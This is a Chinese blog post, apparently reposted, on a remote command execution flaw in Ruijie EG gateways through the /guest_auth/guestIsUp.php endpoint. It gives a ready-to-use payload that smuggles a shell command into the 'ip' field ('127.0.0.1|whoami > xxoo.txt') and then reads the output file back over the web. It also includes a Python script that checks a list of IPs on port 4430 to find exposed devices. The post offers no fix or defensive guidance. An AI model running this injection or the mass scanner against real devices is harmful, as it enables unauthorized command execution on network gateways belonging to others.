当前位置:网站首页>锐捷EG易网关远程命令执行漏洞-1
锐捷EG易网关远程命令执行漏洞-1
2022-04-21 06:32:00 【1stPeak】
这里是在EG易网关中测试出来的,不知NBR路由器是否存在
测试poc
/guest_auth/guestIsUp.php
如果没有返回任何信息,且状态码为200,那么很大可能存在远程命令执行
payload1-命令执行结果写入文件
将whoami命令执行结果写入到xxoo.txt文件中
POST /guest_auth/guestIsUp.php
mac=1&ip=127.0.0.1|whoami > xxoo.txt


payload2-访问写入的文件
url访问被写入的文件
http://xx.xx.xx.xx/guest_auth/xxoo.txt
获取到目标当前用户和当前目录下的文件


简单脚本
这个脚本根据状态码判断的,不一定准确,并且4430端口返回200不一定就是锐捷的设备
import requests
import logging
logging.captureWarnings(True) #忽略警告
fopen=open("4430.txt",'r')
lines=fopen.readlines()
#print(lines)
for ip in lines:
ip=ip.strip()
#print("正在测试"+ip)
try:
#print("https://" + ip + ":4430/guest_auth/guestIsUp.php")
r = requests.get("https://"+ip+":4430/guest_auth/guestIsUp.php", verify=False,timeout=1)
#print(r.status_code)
#print(r.text)
if r.status_code==200:
print("#################"+ip+"可能存在锐捷命令执行漏洞#################")
else:
print(ip+"存在锐捷网关,但不存在漏洞")
except:
pass
还有一种遇到的锐捷EG易网关与NBR路由器——命令执行漏洞,点击传送门
版权声明
本文为[1stPeak]所创,转载请带上原文链接,感谢
https://blog.csdn.net/qq_41617034/article/details/119653155
边栏推荐
- 如何使用Keil5开发MSP430及Tiva系列开发板
- WordPress modify upload file size limit
- [pytorch] pytorch to onnx step on pit record
- DIP-图像平滑化处理
- 性能测试工具JMeter & Jprofiler 的安装
- NSCTF-部分题目wp
- Oracle generates random numbers
- Lua程序设计--笔记
- Unity 在Update中限定每几帧执行一次
- [intensive reading] deep surface normal estimation with hierarchical rgb-d fusion
猜你喜欢
随机推荐
浅学cookie注入
神经网络——基础思想
View source parsing
Unity关于IsPointerOverGameObject接口真机失效问题
TX2上安装deepstream
unreal连接MySQL
sqlmap的安装和使用
如何利用JMeter和Jprofiler对软件进行性能测试和优化定位
登陆界面万能密码绕过
21 jours de combat réel caffe 1 - 7 jours notes d'étude 1
Unity 在Update中限定每几帧执行一次
MySQL简单操作语句
网络信息安全攻防学习平台--上传关1
短信逻辑漏洞
【论文精读】Deep Surface Normal Estimation with Hierarchical RGB-D Fusion
MS12_020漏洞
[intensive reading] deep surface normal estimation with hierarchical rgb-d fusion
图形学基础|移动端GPU架构
hutool工具 导出excel 自定义样式------excel压缩jar
Activity 的四种启动模式







